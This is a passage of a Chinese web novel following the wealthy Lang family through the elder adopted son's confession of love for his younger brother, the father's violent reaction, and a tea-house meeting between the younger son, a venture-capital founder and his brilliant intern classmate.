那语气莫名像被雨淋湿的大狗,朗月现颇为无语笑了笑,想说怎么我还需要给你搞个欢送会吗,系统那熟悉的童声便冒了出来。 “宿主宿主!我刚刚又被强制关机了。”系统急得直转圈,哭腔都出来了:“你们聊了好久啊,好想你哦宿主,怎么老是强制休眠,老大是不是要开除我?你们聊了啥啊?” 系统的声音突然小了下去,惶恐的倒吸一口冷气:“老大是不是真的要炒我鱿鱼?” 朗月现摩挲着冰凉的易拉罐,看最后一点烟花碎屑坠入夜色。 朗月现把空罐子捏出细碎的咔咔声,懒洋洋道:“嗯……倒也没有。” “他只是有点想抢你饭碗。” 系统:“?” —— 首都金融圈最近被一家新起之秀搅得沸沸扬扬。迈切斯特风投集团这个成立才不到两年的新贵,年初还只是业内看好的潜力股,却硬生生把同行们口中寄予厚望的“三年上市计划”压缩成了现实。 这个首都金融圈闪闪发光的超新星,用不到两年的时间,在首都金融中心站稳了脚跟后,便以常人难以理解的速度和困难火速上市。 要知道当初大佬们在十分看好这家公司的前提下,也是说起码要三年才能上市。毕竟是新公司,没有稳固的地基,结果人家提前一年半就敲了钟。 集团创始人陆存远在交易所敲钟的那天,不少投行老总盯着大屏幕直揉眼睛。那枚烫金的集团logo下,明晃晃写着“上市用时35个月零8天”。 据迈切斯特内部传出来的消息,前不久HR收到一份长达十几页的企划书,之后三楼风控部突然多了一个长得很帅的高个年轻人,一加班就是一整夜,整天拎着个掉了漆的保温杯在茶水间晃悠。 结果那周陆总开完晨会出来,红着眼眶激动地要把全公司的咖啡机都换成最贵的那款,说是要给功臣提神。 陆存远自己也想不到,三个月前随手翻到的那份企划书,能让他一直聚精会神地看到凌晨三点,第二天晨会上当着十二个部门总监的面直拍桌子:“都给我看清楚,人家实习生写出的数据分析方案比你们花了半辈子做的量化模型还周全!” 这传言在圈子里越传越邪乎。有人说亲眼看见陆总身边多了个当成宝贝的年轻人,走到哪带到哪。在各种谈判桌上,拉着个穿连帽卫衣的* 男生跟对面的老总谈笑风生。 还有人说集团几位负责人开例会时,那份惊为天人的风控方案,扉页上分明印着实习生的粉戳。 最让圈内人津津乐道的还是某位圈内金融大佬在酒局喝高了拍着桌子怒骂陆存远这家伙不知道走了什么大运,让他挖到这么个神人:“那小子我见了,一张口,我手底下四十多个基金经理愣是没人敢问第二遍问题!” 迈切斯特风头正盛,这股得意的春风到底还是刮进了朗父耳中。朗父也颇为好奇那是个什么人才,便托人递了消息,说是要请他们喝茶聊天。 那可是首都金字塔尖朗氏集团的邀请,光把消息放出去就足够为刚上市的公司造势了。 消息传到迈切斯特时,陆总这个平日里西装革履的华尔街海归,当场把领带扯松了半寸,挂掉电话时手都在抖,从椅子上站起来转头冲助理喊:“快,把那份行业分析报告再打几份精装版,还有我的西装,需要新定制的!” 说起朗氏集团,这家横跨金融、地产的行业巨头,近期也有让商圈扬起轩然大波的重磅消息。 在朗延明已然退出集团核心多年,接班人即将彻底接棒的当口,突然上演了出人意料的权利更迭。 董事长朗延明以雷霆之势,收回了长子朗秉白手中所有实权,对外宣称朗秉白得了一场急病,需要静心修养一段时间。 几年前公开表态要退居二线的董事长此刻正坐在朗秉白的总裁办公室签发文件。这位半退休的掌舵人素来以侍弄花草为乐,此刻却沉着脸宣布即日起由自己重新执掌集团事务。 老爷子的兰花剪子刚放下,转头就收了大少爷的权柄。明明前段时间同周家的签约会上还在为朗秉白作为朗氏集团的继承人造势,突然风向一转,仿佛之前那场风光无限的权力交接从未发生过。 被“因病静养”的朗秉白还住在西郊盘山区的郎家老宅,但别墅外却新增了安保哨,这几乎是明着软禁的行为成了首都商圈近段时间茶余饭后的谈资。 更耐人寻味的是,目前还在上大学,朗延明几乎从不带到公共场合社交,向来低调的次子朗月现开始频繁出现在父亲身侧。 此时,朗父正带着处于舆论中心的朗月现一同前往和陆存远约定好的茶馆。 黑色迈巴赫后座里,朗月现正仔细调整父亲胸前的领带。 朗父垂眼向下望,他的小儿子天生生了副极具冲击力的样貌,高眉骨压着上挑的眼尾,皮肤奇薄,唇红齿白,简直俊美到几近张扬。 本是倨傲潇洒的长相,此刻长曲的睫毛低垂着,在父亲眼下却投出几分温润的阴影。朗父深深看着朗月现,又想起不久前小儿子生日当天的那一幕,喉间溢出微不可查的一声叹息。 第四十四章 我只要小月,别无所求 朗月现生日这天, 朗家老宅凌晨四点就亮起了灯。厨房飘出熬高汤的香气,花匠指挥着帮工把成筐的白玫瑰往廊下搬。管家在前院来回穿梭,袖口沾了晨露也顾不得擦:“左边花架再抬高两指, 对,就卡在滴水檐的下面。” 朗太太亲自核对晚餐菜单, 捏着菜单在餐厅转了三圈,钢笔尖在纸上勾了又划:“桂鱼要现杀现蒸,最后再做也来得及,蟹粉豆腐少加点姜末,乖宝不爱吃姜……”忽然又想起什么似的转头嘱咐:“冰柜里那盒松茸别忘了拿出来给乖宝煲汤。” 地窖木门吱呀作响,朗父举着手电在酒架前踮脚。管家忙不迭的在下面扶住梯子, 劝道:“先生,您让我来找就好了, 您怎么还亲自过来了。”朗父径直取下外侧的那瓶勃艮第,眼角笑纹里藏不住得意:“这臭小子惦记我这瓶酒都半年了,今儿就让他喝个够本。” 往常生日这天朗月现都会早早回家,今天却一反常态。 日头爬过飞檐, 庭院石桌上那盏白毫银针已经续过三回水了。“小兔崽子跑哪去了?以前这个时候早就回来开始闹腾了。”朗父端着茶盏在庭院里来回踱步,杯盖碰得叮当作响。话音刚落就被汽车引擎声打断,朗父探头却见只是送鲜货的货车,气得他把茶盏往桌上重重一撂。 正主直到暮色四合才晃进大门,朗父听见动静手一抖,茶水溅在青瓷杯沿上:“往年不到晌午就缠着你妈妈给你做什么好吃的,今年倒学着踩着饭点回家了?” 朗月现径直掠过回廊,朗秉白从廊柱阴影里往前挪了半步,又硬生生钉在原地。 这次朗秉白并没有像往常那样站在地库前接他,而是遥遥地站在朗父的身后。管家接过他搭在臂弯的外套, 笑着打趣道:“小少爷可算回来了,大少爷下午在露台转了好多圈,太太新栽的月季都被踩秃了两株。” “快别提了,这事到现在还瞒着你妈呢,都没敢让她看见。” 往日和他插科打诨的小儿子却异常的安静,那双回到家总带着笑意的桃花眼此刻毫无波澜,只笑了笑,懒懒回了句“昨晚玩累了”。 朗父纳闷的转头看向朗秉白,想询问知不知道这是怎么了,却发现朗秉白脸色煞白,微微蹙着眉,神色欲言又止,目光死死盯在弟弟身上。 朗秉白站在阴影里,看着弟弟鬓角沾着的夜露在灯光下化成晶莹的光,喉结动了动,终究没敢伸手去擦。 饭桌上的松鼠桂鱼还冒着金灿灿的热气,朗月现也一改刚刚那副提不起劲来的冷漠神情,突然又活泛起来。 朗月现收了父母送的礼物,顺势窝进朗太太怀里,发稍蹭过母亲的珍珠耳环,撒着娇嘴甜地夸这幅新首饰真衬她:“妈,您常去的那家苏绣换老师傅了,我今天回来时特地走那看了看,手艺不差,针脚细着呢。我给您订了件披肩,是您喜欢的样式,正衬您这幅新的南洋珍珠。” 朗父竖着耳朵听母子俩絮叨,在一旁看的眼热,故作不屑的从鼻腔里酸溜溜哼了一声,朗太太笑得开怀,假意嗔怪的拍了拍小儿子的手背:“快起来吧,你爸醋坛子都打翻了。” 朗月现这才起身,转手舀了勺蟹粉豆腐浇在父亲碗里:“上回拍卖会您看中的老茶饼,我托人从英国带回来了。” “就会拿拍卖会的边角料糊弄你老子。”朗父嘴角都快咧到耳根,翘到一半又强行压住。忽然想起什么似的转头,一旁的朗秉白还是一味地沉默,连脸上的笑意都颇为勉强。 朗父下意识缓和气氛,话音拐了个弯飘向长桌另一端,特地提醒道:“阿白给弟弟准备的礼物怎么还没拿出来?” 朗秉白浑身一震,筷子在瓷碗上磕出清响。他没敢抬眼去窥弟弟的神色,垂眼看着自己面前分毫未动的米饭,喉结滚了滚:“在……楼上,我现在去拿……”他声音哑得厉害,可话没说完就被截断。 “不用了。” 朗月现的声音平淡无波,连看都没看朗秉白一眼,拒绝得干脆利落,转头又扬起笑容给朗太太夹菜:“妈尝尝这个,赵叔的手艺又精进了。” 朗秉白眼中扬起的光倏地灭了。 饭后,朗月现陪着朗太太在客厅看电视。朗父在妻子的眼神示意下,带着朗秉白去了书房。 “说说吧,怎么回事啊?”书房门刚合上,朗父也没多废话,直接开口就问,语气里还带着些不认同:“你看你都把小月惯成什么样了,动不动就给你耍小性子。没事,你跟爸说,回头我说说他,一天天让惯得无法无天的。” 朗月现进门后眼睛盯着博古架上的那个缺口,他八岁时在父亲书房内学围棋,不小心撞碎了要送给当时一位能给朗父帮上忙的大人物的钧窑盏,朗父当时抄起戒尺又放下了。 朗秉白知道,从小到大,除了和朗月现有关的事,无论自己做错什么,朗父都不会舍得打他。 此刻书房里常年点着的檀香熏得人眼睛发涩,朗秉白的嗓子好像被什么堵住了一样,声音几乎像挤出来一般沙哑:“不怪小月,是我。” 他原地站了许久,这么高大的个子此刻神情无助的像个找不到家的孩童。看得朗父颇有些心疼,刚要张口安慰几句,就看见朗秉白突然在他面前跪下了。 是很正式的下跪,双膝着地时,地板传来沉闷的咚响。上半身直挺挺的,眼睛直视着朗父,神情严肃又郑重,眼睛却红的像是要流泪。 给朗父吓了一跳,赶紧走近几步伸手要拉,却被朗秉白的下一句话硬生生钉在了原地。 “爸,我爱小月。” “我爱他。” 楼上房间内突然出来几声剧烈的声响,似乎有什么重物狠狠砸在了门上。 朗太太一惊,正要起身去看,被朗月现一把拦住。 朗月现神情都没变,似乎早有预料。他眼睛还盯着电视,淡淡说道:“不用管。” * 朗秉白的膝盖死死硌在地板上,书房的灯在父亲脸上割出深浅不一的阴影,他盯着自己投在地上的影子,那团黑影映在地板上不住地发抖。 “再说一遍?”朗父的声音像生锈的刀。 “我爱小月,不知从什么时候开始,就一直爱他。”朗秉白能感受到自己喉咙里有血上涌的声音,“他离开我去上大学的这段时间,我整宿整宿睡不着觉,安眠药从半片加到三片……” 砚台砸过来划开眉骨的时候朗秉白反而松了口气,突然有种解开了心结的畅快感。 他天真地以为自己能守着“哥哥”的身份过活,可事情全然并不是他想的那样简单。 他在亲眼目睹了弟弟同别人亲密,将来甚至可能会爱上某个人后,朗秉白心里无时无刻不像是有一把烧红的烙铁在翻搅,无法再忍耐下去了。 如果守住这个秘密需要亲眼看着弟弟走向别人,那实在太痛苦了,心里时刻翻涌的酸苦简直比死都难捱。 朗秉白知道自己此举从潜意识里可能就带着一点自毁倾向,故意想要在父亲面前彻底破坏这禁忌且全然不计后果。 他盯着父亲抽搐的右手,额角的血顺着睫毛滴落,却遮不住眼底疯长的执念。 朗父抄起砚台砸过去时到底还是心软了,这下了狠劲的一下要是正中脑门,朗秉白连跪都跪不住。 朗父气的手都在抖,看着连躲都不躲的朗秉白额角伤口涌出的血流出来划过眼尾,睫毛都被染红了,朗父又开始心疼。 可心疼了还没有两秒,朗秉白又张口说道:“我是真的爱他,求父亲成全我。” 看着不把自己气死不算完的大儿子,朗父眼前一阵阵发黑,他手指颤抖地指着朗秉白,扶着书桌直喘气:“你知不知道你在说什么?混账东西,那是你弟弟!” “户籍可以迁出去。”朗秉白睫毛上的血珠啪嗒坠地:“即使您把我移出户口,您也永远是我父亲。” 朗父:“……” 这是替他连办法都想好了,朗父握着镇纸的手青筋暴起,他低喝道:“我辛辛苦苦把你养大成人,用尽所有心血栽培你,器重你,我连朗氏都要交给你,你对的起我吗?” “朗秉白!他是你弟弟!” “我们没有血缘关系。” “啪!” 台灯被朗父高高挥落的手扫落在地,玻璃灯罩在朗秉白脚边炸开,他的右脸火辣辣地疼,朗父的手掌还在发抖,朗秉白咽下满嘴血腥仍跪的笔直。 “您记不记得有一年夏天?”朗秉白抹掉嘴角血丝,慢慢转过头,血珠顺着下颌线滑进衬衫领口,“小月急性肠胃炎,发高烧到将近40度,您和母亲在国外商议合作,是我守了他三天。” “我看着他的样子,心疼的连吃一口饭就要吐出来,就好像得了病的是我。可那天半夜他抓住我手腕说胡话,钻进我怀里说哥你别走。” 朗秉白破碎的笑声从齿缝溢出来:“就好像他身边能依赖的只有我了。我紧紧搂着他,他滚烫的呼吸扑在我颈窝里,多可笑,我竟然因此感受到了无法自拔的愉悦。” “闭嘴!” 朗父突然剧烈咳嗽,朗秉白跪行两步想去扶,却被一脚踹在胃部。他痛的蜷缩了片刻,很快又挺起了身子。 “昨晚我同小月说了这一切……”不断滚落的温热的血滑进嘴角,咸得发苦,“小月说,哥,你让我恶心。” 朗秉白实在接受不了从小总跟在身后要哥哥抱的乖小孩,如今连个眼神都吝啬。从进家门到吃饭,冷漠到甚至连看都不愿意看他一眼,朗秉白觉得自己快要被他逼疯了。 昨天晚上朗秉白被弟弟狠狠打了一巴掌后,回过神第一件事还是不管不顾地想要去牵弟弟的手,伸出手却落了个空。 那一瞬间他手都抖了一下,弟弟避开他的动作仿佛直接从他心上活生生剜下去一块。 他倾尽所有,从小爱到大的孩子,怎么……怎么连碰一下都不给了…… 朗父又扬起的手僵在半空,那双眼睛通红地看着他,带着深刻的痛意和执拗。 “可是爸,我真的没办法爱上除了小月之外的人。”指甲几乎掐进自己掌心,“有别的人要同我度过余生,光是这么想想,我就觉得恶心。可只要小月给我发条消息,哪怕只是问我吃没吃饭,我就无法抑制的开心……” “这么多年,我试过放弃,可是只要看到小月同别人交好,我就嫉妒的几乎要发疯。” “明天就去给我看医生。”朗父的表情都因为暴怒扭曲起来:“去看医生,去吃药!你这是有病你知道吗!” “我不是,我只是爱他。”朗秉白压抑的嘶吼扯得喉咙生疼,“世界上没有人能比我更爱他……” “你要毁了这个家吗?” 朗父还抱有一丝侥幸,以为朗秉白只是一时鬼迷心窍,希望他能迷途知返,声音也低了下来,几乎带上些恳求:“你只顾着自己,朗家你都不要了吗!” 朗秉白抬起头,眼角的血顺着他俊朗的面容滑向下颌,在脸上拉出狰狞的血痕。他眼眶通红,那血像是他落下的血泪一般,将朗父震在了原地。 “我爸拿他的命换了你的命,你们朗家天生欠我一条命。” 每个字都仿佛带着血腥气,朗父听了这句话,眼神都涣散起来,他踉跄后退,靠在桌子上捂着心口,不可思议的看着朗秉白。 “你拿你爸的命……来要挟我?”朗父的声音像是从很远的地方传来:“你现在是要拿宿松的命逼我?” 朗秉白看着朗父的神情,只觉得眼前的一切都晃得厉害,他死死攥着拳头,指甲深深扎进皮肉中,却像感觉不到疼一样,硬生生撑住了摇摇欲坠的身子。 他从来最厌恶那些自甘堕落,颓丧不堪的人,此刻却忽然理解了为什么有人会选择用酒精,用尼古丁去麻痹自己的神经。 心理上的痛苦要远比□□上难以忍受的多,可对于父亲的愧疚和永远失去弟弟相比,那种痛苦程度简直不值一提。 他止不住的颤抖,几乎不能呼吸,朗秉白感到前所未有的痛苦,却不后悔。 “您教会我要知恩图报,现在我只想要小月,过分吗?”朗秉白声音颤抖着,像只被揭开伤疤的幼兽,用卑微的语气,轻声如同呜咽一般:“求求你们,没有小月我活不了的。” 门边传来一声嗤笑。 “你注意点,就算不是你亲生父亲,你也别这样不管不顾的气他。” 朗月现不知什么时候出现在了门口,他斜倚着门框,嘲弄的看着眼前这一幕,讥讽出声。 紧接着传来打火机清脆的响动,指尖明明灭灭的火星映得朗月现的侧脸忽明忽暗,他漫不经心地弹了弹烟灰。 “哥。”熟悉的称呼裹着薄荷烟味飘来,朗秉白浑身触电般一震,却听见弟弟依旧是那种吝啬于好态度的嘲讽语气:“你要逼死父亲,还是逼死我?” 朗秉白挺了整晚的脊梁终于在身后的声音响起时不堪重负的弯了下去,眼眶被泪水挤得酸涩不堪,他俯下身,额头和泪珠一起重重的砸在地板上。 他恍惚又看见那晚烧得滚烫的小孩搂着自己,眼泪渗进他后颈,带着哭腔说:“哥我害怕,你能不能别走。”当时他怎么说的来着? “哥在呢,永远在。” 朗秉白的声音从他深深弯下的脊梁处清晰地传进两人耳朵里:“我只要小月,别无所求。” 第四十五章 那双小狗眼委屈起来,想装看不出来都难 朗父常去的这家茶馆开在极深的小巷中, 是他早年间创业时结识的一位相熟好友开的,两人都喜欢喝茶赏花,颇为几分意趣相投。 车子开不进窄巷, 到了地方后司机只能在外面等着,朗父和朗月现步行往胡同口走去。 朗月现很早就随着父亲经常来这家开在二环内某个深巷中的茶馆。青砖墙上爬满枯藤, 胡同口有棵歪脖子槐树,朗月现小时候顽皮还从上面摔过,额头蹭掉一层油皮。 他爸还没说啥,反倒给那个茶馆老板气的要把那树给砍了,最后还是朗月现于心不忍,才保下了那颗年岁很长的老树。 茶馆老板家中早年也是当地望族, 凭着父辈的祖荫过了大半辈子清闲日子。等到近些年家里生意不景气了,他这个老牌富二代依旧不着急。 茶馆老板还有个英年早婚的姐姐, 他作为次子也没有什么上进心,享了一辈子福的富二代,对他来说能继续喝茶听曲就行,潇洒惯了, 不愿意为俗世烦心。 即使后来朗父主动提起要帮他一把,老板眼皮都没抬就回绝了。 开茶馆也是因为两个人都喜欢喝茶聊天才开的,没准备靠这个挣钱。没想到朗父有次过来喝茶时被拍到了,凭着朗家巨富的影响力,第二天巷子口便被各类豪车堵的水泄不通,就算藏得这么深也被找到了。 那段时间胡同口是门庭若市,气的老板半夜打电话狠骂了朗父半个多小时,朗父没办法只好找人帮忙处理了这事。 不过茶馆的知名度已经打出去了,茶馆老板一天只接待两桌客人,据说现在想来喝茶得提前两年预约了。 朗月现下车时就看见胡同口已经停着辆黑色豪车, 车牌号数字很扎眼。茶馆在胡同最里端,巷子外墙爬满了凌霄藤。不起眼的斑驳红色门板褪色的厉害,推开油亮的黄铜门把,迎面就是坠了满架子的紫藤花。 踩着渗着些潮气的青石板,穿过几道月亮门,便能闻见浓郁的茶香和沉木香味。进了门庭就看见一位穿着灰色大衣的男人背对着门口在角落围着暖炉拉二胡,琴声懒洋洋的。 朗父轻咳了一声,男人连头也没回,往里屋一仰下巴:“人都等你半天了,赶紧去吧,到底是你架子大啊。” 朗父把木盒放在八仙桌上:“给你带了你上次念叨的老茶饼。” 男人还是无所谓的随意答应着,二胡声都没停:“搁那儿吧,谢谢啊。” 朗父“啧”了一声,撇着嘴又无奈地说道:“……小月也来了。” 这一下可不得了,琴弦嘣地走了音,男人懒散的样子像是完全被唤醒了一般,直接从地上跳了起来。 转头当真看到朗月现之后眼睛都亮了,男人看上去和朗父年龄相仿,是位颇为清瘦高挑的中年人,模样很是斯文端正,眼镜链子一晃一晃的,末端坠着颗极其润透的黄翡。 男人一身雅正气度,看上去很像古画中温文尔雅的先生,行动间却带着与他外貌和年龄不符的轻佻欢快。他把二胡往藤椅上一扔就扑了过来,硬挤开朗父后一把握住了朗月现的手:“小宝啊,你都多久没来看你唐叔了?小没良心的,唐叔白疼你了!” 朗月现笑眯眯地问好,朗父不甘示弱的又挤进来:“唐临晖,你觉得你这态度合适吗?” 唐老板理都不理自己的多年老友,看不够似的一个劲地盯着朗月现:“我家小宝真是越长越好看,前两天家里聚会,我那个被夸的天花乱坠的便宜外甥跟小宝完全没法比。对了,前段时间唐叔托你爸给你送得生日礼物收到了吗?” 朗月现点头笑道:“收到了,很喜欢,谢谢唐叔。” 唐老板不住点头,看着朗月现毫不吝啬的露出令人目眩的灿烂笑容,心满意足的不行:“喜欢就好,你不知道,唐叔挑这个礼物可是挑了好久,那个灯罩是用整块和田玉磨薄的,外面的山水画是我特地托了名家大师刻的,光工期就要三个月……” 话还没说完,朗父就强势的插进二人之间:“可以了可以了,还有人等着我们呢。今天的茶,你亲自来泡没问题吧?” 唐老板这才又想起里屋还有人在,顿了一下,瞥了朗父一眼:“哦,我说怎么突然把小宝带来,原来是要借我的手艺撑场面。”说罢潇洒的一挥手:“行,看在小宝的面子上,今天你说什么都好使。” 紧接着又一拍脑门,突然想起什么似的,风风火火往外跑:“差点忘了烤核桃酥,小宝最喜欢吃我做的核桃酥了,我先去准备上,你们等我到了再喝茶。” 朗月现扭头看着一溜烟没影的唐老板,颇为感慨:“这么多年了,唐叔这脾气一点不变样啊。” 朗父带着朗月现往屋里走,说道:“是啊,还跟个老小孩一样,随心所欲的。上个月非说池塘里锦鲤太胖,连夜给鱼搞了个减脂餐,真是闲出屁了。” 朗月现:“……” 陆存远确实一早就到了,他正坐在包厢内临窗的紫檀木茶桌前,拿着桌上的茶壶翻过来看底款。朗父撩开门帘的玛瑙穗子哗啦一响,惊得陆存远差点脱手砸了杯子,慌忙起身相迎。 朗月现抬眼看了看这位首都顶层富商圈内风头正盛的新贵,是个年纪不大,看起来顶多三十岁出头的年轻人。五官端正的脸上带着温和笑纹,看上去性格很好,倒是没看出那种传闻中雷厉风行,一年半就能给公司做上市的精英型领导做派。 朗月现面对来人,只略一点头算作招呼。朗父同躬着身小跑过来,姿态放得很低的陆存远握了握手,笑着打趣道:“你可小心点,这屋里的杯子都是老板的宝贝,打坏了一个可是要紧事了。” 陆存远不由地咋舌,赶紧接话道:“可不是!我刚看了看底款,这种杯子也能舍得拿出来接待客人吗?” 几人进了房间,朗月现自觉坐在茶桌的主人位,朗父抬手示意还站着的陆存远落座:“价值几何倒不是主要问题,主要是老板絮叨啊,这里最贵的就是老板那张嘴,你要是摔了杯子,惹他不高兴了,他能烦的你不得安生。” 朗月现净手后便自觉拿起茶具,开始泡茶前的准备:“还是喝你的老本行?” 朗父应道:“你看你唐叔准备的什么,应该是我常喝的那款。” 朗月现挽起衬衫袖口,露出的手腕上还带着块百达翡丽,他随手解了表放在一边,热水冲进茶壶时溅起的水珠正落在表盘上。 那边陆存远瞬间坐不住了,他惶恐的半起身伸着手试图阻止朗月现,说话都有些磕巴了:“这……这怎么好劳烦二少亲自泡茶……我去,我去找旁人来……” “坐。”朗月现没当回事,一抬手制止了他,说话时眼皮都没抬,行动间潇洒的要命,淡淡回道:“老板暂时有事,我来就好。” 陆存远被他这一下弄红了脸,心脏都猛的多跳了几下。 朗父也笑着拍了拍陆存远的肩膀,让陆存远放轻松:“没事,你别这么拘谨,咱们就是普通喝个茶,聊聊天。” 陆存远后背激得一身冷汗,却也只能强忍着又坐了下来。 朗父又问:“对了,那个年轻人呢?没一起带过来?” 陆存远赶紧回道:“哦,他还在上大学,说是今上午有一节课推不掉,我看了时间也差不多,就没催他,现在应该在来的路上了。” 朗月现垂眼摆弄着茶具,八风不动默默听着,只唇角勾起了些弧度。 他余光看见朗父端起茶杯吹了吹浮沫,没接这话。老爷子心里估计也是同样想法。 能够得上和朗氏集团董事长聊天的机会可是绝顶难求。连陆存远这种八面玲珑的人都紧张得手足无措,却还是纵容那个实习生可以上完课再过来,甚至甘愿独自担着在朗延明面前迟到的后果。 外面说陆存远是把那个年轻人看得跟个宝贝一样,看样子的确如此,传闻不虚啊。 白瓷茶盖里腾起金丝猴魁特有的兰花香,朗月现握着茶夹的手突然顿住,他抬头向外看去。 门帘的玛瑙穗子掀动发出清响,来人绕过屏风,抬眼时正撞上朗月现看过来的眼睛。 程澈穿着一身非常利索整洁的西装,外面套着黑色羽绒服,额角还沾着急忙赶来带出来的薄汗,窗外竹影扫过他清瘦的侧脸,站在门口规规矩矩向朗父鞠躬问好,抬起头的瞬间,眼神不由自主的便粘在朗月现身上挪不开了。 朗月现没关注到程澈异样的眼神,还在眯着眼盯着程澈发梢翘起的一小撮卷毛。 他想到前段时间全国名校金融投资模拟赛期间,他们俩每天要研究各种投资策略和虚拟金融报表到凌晨三点,第二天还要准时去上课。 这人居然还能在同时校外兼着职的情况下再写出一份让风投老总赞不绝口的企划书,简直恐怖如斯。 —— 朗父饶有兴致地打量对视的两人:“你们认识?” 朗月现手腕微倾,将茶壶悬停在茶海上面,看着最后一道清亮的茶汤坠入公道杯,这才淡淡开口:“同班同学。” “哎呦那可真巧。”朗父笑着接过儿子递来的茶盏,又饶有深意地看了看穿着妥帖的程澈:“怪不得陆总当个宝贝,的确是个块好料子。” 陆存远手一抖差点洒了茶水,他扭头盯着自家实习生,眼睛瞪得溜圆。 这个为了每个月多赚公司五百块钱伙食费,天天蹲茶水间啃自带素包子的年轻人,居然和朗氏集团二少爷有私交? 想到程澈操盘时精准得可怕的预算,还有此刻面对朗家人对话时比自己还自然从容的仪态,他后知后觉地倒吸凉气。 “老大……”陆存远借着身位遮掩凑过去耳语:“以后你坐我工位,我蹲你脚边行吗?” 程澈:“……” 程澈脱下羽绒外套挂在门边的黄铜衣架上,正了正西装前襟落座在陆存远旁边。朗月现适时推来一盏温热的茶,骨节分明的手指在天青色的茶盏映衬下白得泛着冷光,程澈慌忙用双手捧住茶盏,指尖与对方在杯沿处一触即分,感受到了对方微凉的体温,便忍不住又抬眸看了朗月现一眼。 朗月现这次接收到了程澈递来的眼神,男人深棕色的瞳仁湿漉漉的,看向自己时莫名泛起些明显幽怨的委屈意味,活像是被人抢了肉骨头的小狗。 程澈那双圆滚滚的狗狗眼要是耷拉下来,想装看不出来都难。 不过即使升起些念头,朗月现也并未往自己身上找原因。毕竟最近几个月他几乎没怎么去学校,和程澈自从比赛过后都没再见过面,程澈可怜巴巴的样子肯定和自己没关系。 父亲让他在学校休一段时间的假之后,他就在集团总部隔壁买了套大平层,每天帮衬着父亲开晨会看报表到深夜。顺便感慨几句,这工作量真不是一般人做得了的。 怪不得都说朗秉白是商业暴君,先不说他在工作上行事果决,雷厉风行,在朗父将集团交给他后,凭借极其优秀地在判断金融市场走向上的强悍直觉,无比出色地将接手的所有交易利益最大化,把朗氏发展的实力愈发雄厚。 单说他敢单枪匹马撑起整个朗氏的魄力,这强悍的心理素质和工作能力也够他学上个十年八年。 朗月现到底还是年纪尚轻,他自觉对比朗秉白在对朗氏的用心程度上,的确自愧不如。也不得不承认,无论是经验还是能力,朗秉白做的确实无可挑剔的优秀,让人佩服。 清冽甘甜的茶香在包厢里袅袅升腾,朗月现手腕轻抬,露出的那截腕骨白玉一般,滚水注入茶海激起细密的水珠,有微小的几滴溅出来,在他指节上烫出淡淡的红痕。朗月现的整套动作行云流水,一举一动都显得非常专业,优雅至极。 陆存远偷瞄了好一会儿,眼珠子都要掉进* 朗月现面前煮茶的银壶里。直到程澈屈指在茶桌面上轻轻扣响,他才回过神,手忙脚乱从公文包抽出报告递给朗父。 程澈借着调整坐姿的幅度,顺势不着痕迹地侧过身,肩背肌肉在西装面料下绷出流畅结实的弧度,像堵密不透风的墙,连朗月现泡茶时垂落的额发都私心遮的严严实实。 朗月现挑眉看向突然正襟危坐,姿势刻意端正的程澈。他今天穿了一套非常正式的深灰色西装,并不是朗月现之前送给他的那套高奢定制西装,显然是套成衣。 估计是陆存远为了这次的会面特意给程澈订的。虽然剪裁得体,但程澈肩膀异于常人的宽阔,肩线处还是略紧了些。 朗月现微微勾唇笑了笑,又往对方杯里续了七分满的茶汤。这人不知道怎么,从进来坐下就开始不停的牛饮,好像渴的要命。 陆存远还在拍着朗父的马屁,夸这猴魁实在是难得一遇的珍品,余光就看见他带来的人端起茶盏一个牛饮又仰头灌下去一杯,顿时眼前就有些发黑。 “小……小程啊,”陆存远嘴角微微抽搐:“这道金丝猴魁要含在舌尖慢品……” 陆存远本来看到程澈今天终于没有再穿他那个一成不变的卫衣加牛仔裤经典休闲套装来和自己的重要客人会面,感到颇有几分欣慰。寻思小孩终于懂得给自己长脸了,结果在这等着他呢。 程澈被茶水呛的满脸通红,他哪里尝得出什么兰花香,满心都是朗月现身上传来的香味,他只是借着端茶杯的举动掩饰自己忍不住看向朗月现的目光。 实在是想他想的没办法,端茶杯遮掩的次数有些多了,听见陆存远这么一句,才意识到自己又在这些人面前出丑了。 有时候阶级之间的差距最明显的不是在金钱上,其关键在对于周围能接触到的事物方面认知水平的高低。 果然有些东西不是换套衣服就能改变的,就算今天为了见阿月和他的家人,特地穿了陆老板给他买的平时都不舍得穿的昂贵西装,依旧也掩饰不了自己同他们之间的阶级差异。 朗父军人出身,为人豪爽不羁,虽然喜欢喝茶,但是也搞不来文绉绉那套,他看着年轻人慌张的放下茶杯的模样哈哈一笑:“别拘束,茶嘛,想怎么喝都行。” 程澈耳尖红得能滴血,双手捧着青瓷盏乖乖点头,一副非常惹老一辈人喜欢的乖顺懂事的姿态,惹得朗月现又多看了他几眼。 远处飘来烘烤核桃的焦香,唐老板端着核桃酥走了进来,朗月现便自觉的净手让开主人位。 和来接手的唐老板错身而过,唐老板忍不住伸手轻轻捏了捏朗月现的耳垂。朗父刚要伸手拿点心,被唐老板毫不客气的打了手,接着将核桃酥专门搁在朗月现面前,顺便瞪了朗父一眼。 朗父:“?”我又怎么了? 出了名护犊子的唐老板就是不想让朗月现给外人泡茶喝,所以才提前说好让他们等等自己再喝茶,谁知道还是让自家小孩上手了。 朗月现这一手漂亮的茶艺就是唐老板亲自教的,真正的茶艺大师施施然落座,茶香袅袅间众人开始了正事商谈。 朗家父子手上拿着迈切斯特的上市分析报告,朗父边翻看着边询问程澈一些操盘细节,程澈不卑不亢对答如流,但眼神却总往斜对面的朗月现身上飘。 每当程澈说到关键处,朗月现总能接上几句非常精准的补充建议,巧妙的补上程澈预设计划中的下一步。给陆存远听的心惊肉跳,拿出手机躲在桌子底下开始偷偷疯狂记笔记。 朗月现对于各项风投数据分析方面甚至比负责提出策略进行实操的程澈还要厉害,这种商脉金融直觉几乎可以算是天赋了。 陆存远在一旁听的叹为观止,嘴中不由得说道:“我还以为朗总已经是商业投资界的天花板了,没想到二少竟然也这么……” 话说到一半突然卡壳,陆存远几乎是瞬间意识到出错了,冷汗顺着脊梁就流了下来。 现在首都顶层圈子里谁不知道朗秉白是因为做错了事惹了朗父不高兴,才被迫退位在家软禁。在这个朗氏集团舆论众多的风口浪尖的时间点,他竟然直接当着朗父的面毫不顾忌的提起了让朗父不快的大儿子,还嘴快的说了这么一番完全不过脑子的话。 陆存远反应过来之后瞬间浑身起了一层鸡皮疙瘩,狠狠地打了个冷战。 整个包厢内一时静了下来,只有唐老板手中轻扣茶盏的脆响。 陆存远结结巴巴想要解释,他觉得自己这下算是把朗氏得罪透了,连牙关都在打颤。 